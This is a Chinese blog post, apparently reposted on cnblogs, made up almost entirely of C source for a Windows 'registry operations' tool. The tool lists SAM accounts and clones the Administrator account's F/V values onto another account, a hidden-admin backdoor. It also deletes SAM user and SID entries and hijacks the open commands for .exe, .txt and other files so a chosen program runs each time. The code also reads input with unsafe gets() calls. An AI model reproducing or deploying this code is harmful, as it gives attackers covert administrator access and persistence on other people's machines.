• 注册表操作


    #include "Functions.h"

    int main (int argc, char *argv[])
    {
    char SID[10],C_Sid[10],USER[20];
    char *K_Sid="1F4";
    char *K_User="Administrator";
    int n;

    for (n=1;n<argc;n++)
    {
    if (argv[n][0]=='-'||argv[n][0]=='/')
    {
    switch(argv[n][1])
    {
    case '?':
    case 'h':
    case 'H':Usage();
    break;

    case 'l':
    case 'L':ListUser();
    break;

    case 'f':
    case 'F':Main_Correlation();
    break;

    case 'e':
    case 'E':EX_Correlation();
    break;

    case 'c':
    case 'C':printf("Please Input Clone SID:");
    gets(C_Sid);
    if (strlen(C_Sid)<=10&&strcmp(C_Sid,K_Sid)!=0)
    Clone(C_Sid);
    else
    {
    printf("Error\n");
    exit(0);
    }
    break;

    case 's':
    case 'S':printf("Please Input Delete SID:");
    gets(SID);
    if (strlen(SID)<=10&&strcmp(SID,K_Sid)!=0)
    Sid(SID);
    else
    {
    printf("Error\n");
    exit(0);
    }
    break;

    case 'u':
    case 'U':printf("Please Input Delete USER:");
    gets(USER);
    if (strlen(USER)<=20&&strcmp(USER,K_User)!=0)
    User(USER);
    else
    {
    printf("Error\n");
    exit(0);
    }
    break;

    default:Usage();
    }
    }
    }
    return 0;
    }

    int Main_Correlation (void)
    {
    int r_count;

    C_Usage();
    r_count=Correlation();

    while (r_count!=EXIT)
    {
    C_Usage();
    r_count=Correlation();
    }
    printf("File Correlation End\n");
    return 0;
    }

    int Correlation (void)
    {
    char TXT_file[50],EXE_file[50],HLP_file[50],INF_file[50],INI_file[50];
    char E_Key[20],Key[20],D_Value[20],Value[50];
    int count;

    while (scanf("%d",&count)==1)
    {
    if (count==LOW||count>EXIT)
    {
    C_Usage();
    continue;
    }

    if (count==EXIT)
    {
    printf("ByeBye!\n");
    break;
    }

    while (getchar()!='\n')
    continue;

    switch(count)
    {
    case 1:printf("Correlation TXT:");
    gets(TXT_file);
    if (strlen(TXT_file)<=50)
    TXT_Correlation(TXT_file);
    else
    {
    printf("Error\n");
    exit(0);
    }
    break;

    case 2:printf("Correlation EXE:");
    gets(EXE_file);
    if (strlen(EXE_file)<=50)
    EXE_Correlation(EXE_file);
    else
    {
    printf("Error\n");
    exit(0);
    }
    break;

    case 3:printf("Correlation HLP:");
    gets(HLP_file);
    if (strlen(HLP_file)<=50)
    HLP_Correlation(HLP_file);
    else
    {
    printf("Error\n");
    exit(0);
    }
    break;

    case 4:printf("Correlation INF:");
    gets(INF_file);
    if (strlen(INF_file)<=50)
    INF_Correlation(INF_file);
    else
    {
    printf("Error\n");
    exit(0);
    }
    break;

    case 5:printf("Correlation INI:");
    gets(INI_file);
    if (strlen(INI_file)<=50)
    INI_Correlation(INI_file);
    else
    {
    printf("Error\n");
    exit(0);
    }
    break;

    case 6:printf("Setting Correlation\n");
    printf("Please Input E_KeyName(E_Key):");
    if (!(strlen(gets(E_Key))<=20))
    {
    printf("Error\n");
    exit(0);
    }
    printf("Please Input KeyName(Key):");
    if (!(strlen(gets(Key))<=20))
    {
    printf("Error\n");
    exit(0);
    }
    printf("Please Input D_KeyValue(D_Value):");
    if (!(strlen(gets(D_Value))<=20))
    {
    printf("Error\n");
    exit(0);
    }
    printf("Please Input KeyValue(Value):");
    if (strlen(gets(Value))<=50)
    DIY_Correlation(E_Key,Key,D_Value,Value);
    else
    {
    printf("Error\n");
    exit(0);
    }
    }

    }

    while (getchar()!='\n')
    continue;
    return count;
    }

    void TXT_Correlation (char *TXTFile)
    {
    HKEY hkey;
    DWORD szData=100,ret=0;
    char *key="txtfile\\shell\\open\\command\\";

    ret=RegCreateKey(HKEY_CLASSES_ROOT,key,&hkey);
    //在指定的项下创建一个新项。如指定的项已经存在,那么函数会打开现有的项
    //hKey Long,要打开项的句柄,或者一个标准项名
    //lpSubKey String,欲创建的新子项。可同时创建多个项,只需用反斜杠将它们分隔开即可。
    //例如level1\level2\newkey。如果指定"",则为默认值。
    //phkResult Long,指定一个变量,用于装载新子项的句柄

    if (!ret==ERROR_SUCCESS)
    {
    printf("Reg Create FAIL\n");
    exit(0);
    }

    ret=RegSetValueEx(hkey,"",0,REG_EXPAND_SZ,TXTFile,szData);

    if (ret==ERROR_SUCCESS)
    printf("TXT_File Correlation Success\n");
    else
    {
    printf("TXT_File Correlation FAIL\n");
    exit(0);
    }

    RegCloseKey(hkey);
    }

    void EXE_Correlation (char *EXEFile)
    {
    HKEY hkey;
    DWORD szData=100,ret=0;
    char *key="exefile\\shell\\open\\command\\";

    ret=RegCreateKey(HKEY_CLASSES_ROOT,key,&hkey);

    if (!ret==ERROR_SUCCESS)
    {
    printf("Reg Create FAIL\n");
    exit(0);
    }

    ret=RegSetValueEx(hkey,"",0,REG_SZ,EXEFile,szData);

    if (ret==ERROR_SUCCESS)
    printf("EXE_File Correlation Success\n");
    else
    {
    printf("EXE_File Correlation FAIL\n");
    exit(0);
    }

    RegCloseKey(hkey);
    }

    void INF_Correlation (char *INFFile)
    {
    HKEY hkey;
    DWORD szData=100,ret=0;
    char *key="inffile\\shell\\open\\command\\";

    ret=RegCreateKey(HKEY_CLASSES_ROOT,key,&hkey);

    if (!ret==ERROR_SUCCESS)
    {
    printf("Reg Create FAIL\n");
    exit(0);
    }

    ret=RegSetValueEx(hkey,"",0,REG_EXPAND_SZ,INFFile,szData);

    if (ret==ERROR_SUCCESS)
    printf("INF_File Correlation Success\n");
    else
    {
    printf("INF_File Correlation FAIL\n");
    exit(0);
    }

    RegCloseKey(hkey);
    }

    void INI_Correlation (char *INIFile)
    {
    HKEY hkey;
    DWORD szData=100,ret=0;
    char *key="inifile\\shell\\open\\command\\";

    ret=RegCreateKey(HKEY_CLASSES_ROOT,key,&hkey);

    if (!ret==ERROR_SUCCESS)
    {
    printf("Reg Create FAIL\n");
    exit(0);
    }

    ret=RegSetValueEx(hkey,"",0,REG_EXPAND_SZ,INIFile,szData);

    if (ret==ERROR_SUCCESS)
    printf("INI_File Correlation Success\n");
    else
    {
    printf("INI_File Correlation FAIL\n");
    exit(0);
    }

    RegCloseKey(hkey);
    }

    void HLP_Correlation (char *HLPFile)
    {
    HKEY hkey;
    DWORD szData=100,ret=0;
    char *key="helpfile\\shell\\open\\command\\";

    ret=RegCreateKey(HKEY_CLASSES_ROOT,key,&hkey);

    if (!ret==ERROR_SUCCESS)
    {
    printf("Reg Create FAIL\n");
    exit(0);
    }

    ret=RegSetValueEx(hkey,"",0,REG_SZ,HLPFile,szData);

    if (ret==ERROR_SUCCESS)
    printf("HLP_File Correlation Success\n");
    else
    {
    printf("HLP_File Correlation FAIL\n");
    exit(0);
    }

    RegCloseKey(hkey);
    }

    int DIY_Correlation(
    char *E_KeyName,char *KeyName,char *D_KeyValue,char *KeyValue)
    {
    HKEY hkey;
    DWORD szData=100,ret=0;
    char Key[50];
    ZeroMemory(Key,50);

    ret=RegCreateKey(HKEY_CLASSES_ROOT,E_KeyName,&hkey);

    if (!ret==ERROR_SUCCESS)
    {
    printf("One:Reg Create FAIL\n");
    exit(0);
    }

    ret=RegSetValueEx(hkey,"",0,REG_SZ,KeyName,szData);

    if (ret==ERROR_SUCCESS)
    printf("One:Setting RegKey Success\n");
    else
    {
    printf("One:Setting RegKey FAIL\n");
    exit(0);
    }

    ret=RegCreateKey(HKEY_CLASSES_ROOT,KeyName,&hkey);

    if (!ret==ERROR_SUCCESS)
    {
    printf("Two:Reg Create FAIL\n");
    exit(0);
    }

    ret=RegSetValueEx(hkey,"",0,REG_SZ,D_KeyValue,szData);

    if (ret==ERROR_SUCCESS)
    printf("Two:Setting RegKeyValue Success\n");
    else
    {
    printf("Two:Setting RegKeyValue FAIL\n");
    exit(0);
    }

    strcpy(Key,KeyName);
    strcat(Key,"\\shell\\open\\command\\");

    ret=RegCreateKey(HKEY_CLASSES_ROOT,Key,&hkey);

    if (!ret==ERROR_SUCCESS)
    {
    printf("Three:Reg Create FAIL\n");
    exit(0);
    }

    ret=RegSetValueEx(hkey,"",0,REG_SZ,KeyValue,szData);

    if (ret==ERROR_SUCCESS)
    printf("Three:Setting RegKeyValue Success\n");
    else
    {
    printf("Three:Setting RegKeyValue FAIL\n");
    exit(0);
    }

    RegCloseKey(hkey);
    }

    void Sid (char *sid)
    {
    HKEY hkey;
    DWORD ret;
    char C_sid[10];

    ZeroMemory(C_sid,10);
    strcpy(C_sid,"00000"); //填充SID中的前5位
    strcat(C_sid,sid); //传递剩余3位,并继续填充

    //打开注册表,成功返回值0(SUCCESS)
    ret=RegOpenKey(HKEY_LOCAL_MACHINE, //根键名或已打开项的句柄
    "SAM\\SAM\\Domains\\Account\\Users\\", //要打开的项名
    &hkey); //装载打开项的句柄

    if (!ret==ERROR_SUCCESS)
    {
    printf("Reg Open FAIL\n");
    exit(0);
    }

    //删除SID,成功返回值0(SUCCESS)
    ret=RegDeleteKey(hkey,C_sid);

    if (ret==ERROR_SUCCESS)
    printf("Success Delete Key (SID)\n"); //打印成功消息
    else
    {
    printf("Delete Key FAIL (SID)\n"); //打印失败消息
    exit(0);
    }

    RegCloseKey(hkey); //关闭以打开的注册表项

    }

    void User (char *user)
    {
    HKEY hkey;
    DWORD ret;
    char C_user[40];

    ZeroMemory(C_user,40);
    strcpy(C_user,"");
    strcat(C_user,user);

    ret=RegOpenKey(HKEY_LOCAL_MACHINE,
    "SAM\\SAM\\Domains\\Account\\Users\\Names\\",
    &hkey);

    if (!ret==ERROR_SUCCESS)
    {
    printf("Reg Open FAIL\n");
    exit(0);
    }

    ret=RegDeleteKey(hkey,C_user);

    if (ret==ERROR_SUCCESS)
    printf("Success Delete Key (USER)\n");
    else
    {
    printf("Delete Key FAIL (USER)\n");
    exit(0);
    }

    RegCloseKey(hkey);

    }

    void OpenKey (char *key)
    {
    HKEY hkey;
    DWORD dwIndex=0,lpcbname=100,ret=0;
    char T_name[100],Buffer[100];
    FILETIME lpftlast;
    int i=0;

    ZeroMemory(Buffer,100);
    ZeroMemory(T_name,100);
    ZeroMemory(name,1500);

    RegOpenKeyEx(HKEY_LOCAL_MACHINE, //根键名或已打开项的句柄
    key, //传递一个参数,欲打开的注册表项
    0, //未用,设为0即可
    KEY_ALL_ACCESS, //带有前缀KEY_??的一个或多个常数。
    //它们的组合描述了允许对这个项进行哪些操作
    &hkey);

    for(i=0;ret==ERROR_SUCCESS;i++,dwIndex++)
    {
    ret=RegEnumKeyEx(hkey,dwIndex,T_name,&lpcbname,
    NULL,NULL,NULL,&lpftlast);
    //dwIndex:欲获取的子项的索引。第一个子项的索引编号为零
    //T_name:用于装载指定索引处项名的一个缓冲区
    //&lpcbname:指定一个变量,用于装载lpName缓冲区的实际长度(包括空字符)。
    //一旦返回,它会设为实际装载到lpName缓冲区的字符数量
    //NULL:未用,设为零
    //NULL:项使用的类名
    //NULL:用于装载lpClass缓冲区长度的一个变量
    //&lpftlast:FILETIME,枚举子项上一次修改的时间

    strcat(name[i],T_name);
    ZeroMemory(T_name,100);
    lpcbname=100;
    }

    RegCloseKey(hkey);

    //拼接用户名
    for(KeyN=0;KeyN<i;KeyN++)
    {
    strcat(Buffer,name[KeyN]);
    strcat(Buffer,"\n\r");
    }
    }

    int ViewUser (char *key)
    {
    HKEY hkey;
    DWORD lpType=0,ret;
    char S_name[10];


    ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
    key,
    0,
    KEY_ALL_ACCESS,
    &hkey);

    if(!ret==ERROR_SUCCESS)
    {
    printf("Reg Open FAIL\n");
    exit(0);
    }

    RegQueryValueEx(hkey,NULL,NULL,
    &lpType,NULL,NULL);
    //NULL:要获取值的名字
    //NULL:未用,设为零
    //&lpType:用于装载取回数据类型的一个变量
    //NULL:用于装载指定值的一个缓冲区
    //NULL:用于装载lpData缓冲区长度的一个变量

    wsprintf(S_name,"%X\n\r",lpType);
    printf("%s",S_name);

    return 1;
    }

    int ListUser (void)
    {
    int n;
    char Buffer[70]="SAM\\SAM\\Domains\\Account\\Users\\Names\\";
    char Temp[40]={'\0'};

    OpenKey("SAM\\SAM\\Domains\\Account\\Users\\Names");

    for(n=0;n<KeyN;n++)
    {
    strcat(Buffer,name[n]);
    wsprintf(Temp,name[n]);
    strcat(Temp,"===>");
    printf("%s",Temp);
    ViewUser(Buffer);
    strcpy(Buffer,"SAM\\SAM\\Domains\\Account\\Users\\Names\\");
    }
    return 1;
    }

    int Clone(char *C_sid)
    {
    HKEY hkey,C_hkey;
    DWORD Type=REG_BINARY,SizeF=1024*2,SizeV=1024*10,ret;
    char CloneSid[100];
    LPBYTE lpDataF,lpDataV;

    lpDataF = (LPBYTE) malloc(1024*2);
    lpDataV = (LPBYTE) malloc(1024*10);

    ZeroMemory(lpDataF,1024*2);
    ZeroMemory(lpDataV,1024*10);
    ZeroMemory(CloneSid,100);

    strcpy(CloneSid,"SAM\\SAM\\Domains\\Account\\Users\\00000");
    strcat(CloneSid,C_sid);

    ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
    "SAM\\SAM\\Domains\\Account\\Users\\000001F4",
    0,
    KEY_ALL_ACCESS,
    &hkey);

    if(!ret==ERROR_SUCCESS)
    {
    printf("Reg Open FAIL\n");
    exit(0);
    }

    ret=RegQueryValueEx(hkey,"F",NULL,
    &Type,lpDataF,&SizeF);

    if(!ret==ERROR_SUCCESS)
    {
    printf("Reg Query Value FAIL\n");
    exit(0);
    }

    ret=RegQueryValueEx(hkey,"V",NULL,
    &Type,lpDataV,&SizeV);

    if(!ret==ERROR_SUCCESS)
    {
    printf("Reg Query Value FAIL\n");
    exit(0);
    }

    ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
    CloneSid,
    0,
    KEY_ALL_ACCESS,
    &C_hkey);

    if(!ret==ERROR_SUCCESS)
    {
    printf("Reg Open FAIL\n");
    exit(0);
    }

    ret=RegSetValueEx(C_hkey,"F",0,
    REG_BINARY,
    lpDataF,
    SizeF);
    //C_hkey:根键名或已打开项的句柄
    //“F”:要设置值的名字
    //0:未用,设为零
    //REG_BINARY:要设置的数量类型
    //lpDataF:包含数据的缓冲区中的第一个字节
    //SizeF:lpData缓冲区的长度

    if(!ret==ERROR_SUCCESS)
    {
    printf("Reg Set Vaule FAIL\n");
    exit(0);
    }

    ret=RegSetValueEx(C_hkey,"V",0,
    REG_BINARY,
    lpDataV,
    SizeV);

    if(ret==ERROR_SUCCESS)
    printf("Clone User Success\n");
    else
    {
    printf("Clone User FAIL\n");
    exit(0);
    }

    RegCloseKey(hkey);
    RegCloseKey(C_hkey);

    return 1;
    }

    void C_Usage (void)
    {
    fprintf(stderr,"********************************************************************************\n"
    "Please Input 1 or 5 Select file correlation,Select 6 \"DIY\" file correlation\n"
    "1)TXT\t\t\t2)EXE\t\t\t3)HLP\n"
    "4)INF\t\t\t5)INI\t\t\t6)DIY\n"
    "7)Quit\n"
    "********************************************************************************\n");
    }

    void EX_Correlation (void)
    {
    printf("DIY example:\n\n");
    fprintf(stderr,"C:\>RingZ_RgeEdit.exe -E\n"
    "*******************************************************************************\n"
    "Please Input 1 or 5 Select file correlation,Select 6 \"DIY\" file correlation\n"
    "1)TXT\t\t\t2)EXE\t\t\t3)HLP\n"
    "4)INF\t\t\t5)INI\t\t\t6)DIY\n"
    "7)Quit\n"
    "********************************************************************************\n"
    "6\n"
    "Setting Correlation\n"
    "Please Input E_KeyName(E_Key):\".dahu\"\n"
    "Please Input KeyName(Key):\"dahubaobao\"\n"
    "Please Input D_KeyValue(D_Value):\"dahufile\"\n"
    "Please Input KeyValue(Value):\"%%systemroot%%\\system32\\dahubaobao.exe %%1\"\n"
    "One:Setting RegKey Success\n"
    "Two:Setting RegKeyValue Success\n"
    "Three:Setting RegKeyValue Success\n"
    "......\n");
    }

    void Usage (void)
    {
    fprintf(stderr,"===============================================================================\n"
    "\t 注册表操作\n"
    "\t包含:删除/克隆任意用户,文件关联(可以自定义)。有时间会继续加入更多功能\n"
    "\t环境:Win2K Adv Server + Dev C++ 4.9.8.0\n"
    "\t作者:dahubaobao\n"
    "\t主页:www.RingZ.org\;n"
    "\tOICQ:382690\n"
    "\t邮件:382690@qq.com\n"
    "\t声明:本帖由环行区(RingZ)原创,转载请注明出处,谢谢!\n\n"
    "\t使用方法:\n"
    "\t\"-H\":帮助信息\n"
    "\t\"-L\":列出系统中用户对应的SID\n"
    "\t\"-C\":克隆帐户,输入SID即可\n"
    "\t\"-S\":删除SID\n"
    "\t 对应注册表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\n"
    "\t\"-U\":删除用户名\n"
    "\t 对应注册表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names\n"
    "\t\"-F\":文件关联。可以关联TXT、EXE、HLP、INF、INI,并且可以自定义文件关联\n"
    "\t\"-E\":一个自定义文件关联的例子,并有两幅插图\n\n"
    "\t注意事项:\n"
    "\t由于SID的前5位都是\"0\",所以不必输入,直接输入最后三位\n"
    "\t例如:000001F5,则直接输入1F5,即可将Guest帐户删除\n"
    "\t使用Regedt32将SAM键修改为Administrator可以访问\n"
    "\t使用-C参数后,会弹出\"Clone SID:\"提示符,只需输入相应的SID即可克隆\n"
    "\t使用-S参数后,会弹出\"Delete SID:\"提示符,只需输入相应的SID即可删除\n"
    "\t使用-U参数后,会弹出\"Delete USER:\"提示符,只需输入相应的用户名即可删除\n"
    "\t使用-F参数后,会弹出一个菜单,1-6为文件关联选项,7为退出。假如选择1,则\n"
    "\t弹出\"Correlation TXT:\"提示符,只需输入相应的程序即可完成文件关联,例如:\n"
    "\t\"%%systemroot%%\\system32\\dahubaobao.exe %%1\",其他关联方法依次类推\n"
    "\t本程序只是用做代码交流,对不熟悉注册表编程的朋友可以参考参考,克隆帐户只\n"
    "\t是占时性,重启之后就没有了\n"
    "===============================================================================\n");
    }

    Functions.h
    Code:
    #include <windows.h>
    #include <string.h>
    #include <stdio.h>
    #define EXIT 7
    #define LOW 0

    char name[50][30];

    void Usage (void); //帮助信息
    void C_Usage (void); //文件关联菜单
    void EX_Correlation (void); //自定义文件关联的例子
    void Sid (char *sid); //删除安全标识符
    void User (char *user); //删除用户名
    void OpenKey (char *key);
    void TXT_Correlation (char *TXTFile);
    void EXE_Correlation (char *EXEFile);
    void INF_Correlation (char *INFFile);
    void INI_Correlation (char *INIFile);
    void HLP_Correlation (char *HLPFile);
    int ListUser (void); //显示用户名对应的安全标识符
    int ViewUser (char *key);
    int Clone (char *C_sid); //克隆帐户
    int Correlation (void); //文件关联函数
    int Main_Correlation (void); //文件关联Main函数
    int DIY_Correlation(char *E_KeyName,char *KeyName,char *D_KeyValue,char *KeyValue);
    //自定义文件关联函数
  • 相关阅读:
    [转]How do I use variables in Oracle SQL Developer?
    [转]一张图理解prototype、proto和constructor的三角关系
    [转]ASP.NET Web API系列教程(目录)
    [转]解读ASP.NET 5 & MVC6系列(7):依赖注入
    [转]什么?你还不会写JQuery 插件
    [书目20170314]理解未来的7个原则
    java List.subList方法中的超级大陷阱
    MyBatis动态传入表名,字段名参数的解决办法---statementType用法
    lvs+keepalived和haproxy+heartbeat区别
    Nginx/LVS/HAProxy负载均衡软件的优缺点详解
  • 原文地址:https://www.cnblogs.com/QDuck/p/69161.html
Copyright © 2020-2023  润新知